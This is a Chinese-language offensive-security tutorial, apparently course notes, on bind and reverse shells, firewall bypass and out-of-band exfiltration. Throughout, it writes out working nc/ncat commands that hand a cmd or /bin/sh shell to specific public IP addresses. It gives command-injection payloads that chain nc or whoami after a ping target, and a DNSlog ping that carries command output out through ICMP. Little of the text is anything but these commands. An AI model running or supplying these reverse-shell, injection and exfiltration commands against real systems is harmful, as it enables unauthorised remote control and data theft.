基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站
一、实用案例:反弹Shell命令-解决数据回显&解决数据通讯
命令生成:https://forum.ywhack.com/shell.php
环境
1.正向连接:本地监听等待对方连接
Linux控制Windows
//绑定CMD到本地5566端口
nc -e cmd -lvp 5566
//主动连接目标5566
ncat 47.122.23.131 5566
Windows控制Linux
//绑定SH到本地5566端口
ncat -e /bin/sh -lvp 5566
//主动连接目标5566
nc 47.94.236.117 5566
2.反向连接:主动给出去,对方监听
Linux交出控制权Windows连接
//绑定SH到目标5566端口
ncat -e /bin/sh 47.122.23.131 5566
ncat -e /bin/sh 192.168.200.130 5566
127.0.0.1 | c:\nc.exe -e cmd 192.168.200.130 8888
//等待5566连接
nc -lvvp 5566
Windows交出控制权Linux连接
//绑定CMD到目标5566端口
nc -e cmd 47.94.236.117 5566
//等待5566连接
ncat -lvvp 5566
二、实际案例:防火墙绕过-正向连接&反向连接&内网服务器
管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)
Windows->| & || &&
Linux->; | || & && (特有`` 和;)是TAB上面的那个键
例子:
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 whoami
1、判断windows
2、windows没有自带的nc
3、想办法上传nc 反弹权限
4、反弹
开启入站策略,采用反向连接:让windows主动走出来给出权限
Linux:ncat -lvvp 5566
Windows:127.0.0.1 | nc -e cmd 47.94.236.117 5566
开启出站策略,采用正向连接
Linux:ncat -e cmd 47.122.23.131 5566
Windows:127.0.0.1 | nc -e cmd -lvvp 5566
三、实际案例:防火墙组合数据不回显-ICMP带外查询Dnslog
Linux系统自带:特殊的执行命令符号
输入:ping whoami.8nxvp1.dnslog.cn
可以看到回显:root
出站入站都开启策略(数据不回显):OSI网络七层
windows:因为由于cmd不能直接执行命令
注意:命令符号中获得的域名前必须有 . 来连接
漏洞有,但是数据不回显:
1、反弹shell
2、带外查询
cmd无法执行whoami
用到powershell变量赋值 把whoami执行结果给变量
结果带有“\” 导致ping无法执行
powershell
为什么开启防火墙后 whoami数据还是可以带外回显?
ping命令走的ICMP协议,而防火墙禁用端口是控制TCP/UDP协议,也就是控制传输层,但是ICMP是网络层,是传输层下层,不受防火墙影响。所以可以使用ping命令将数据带出。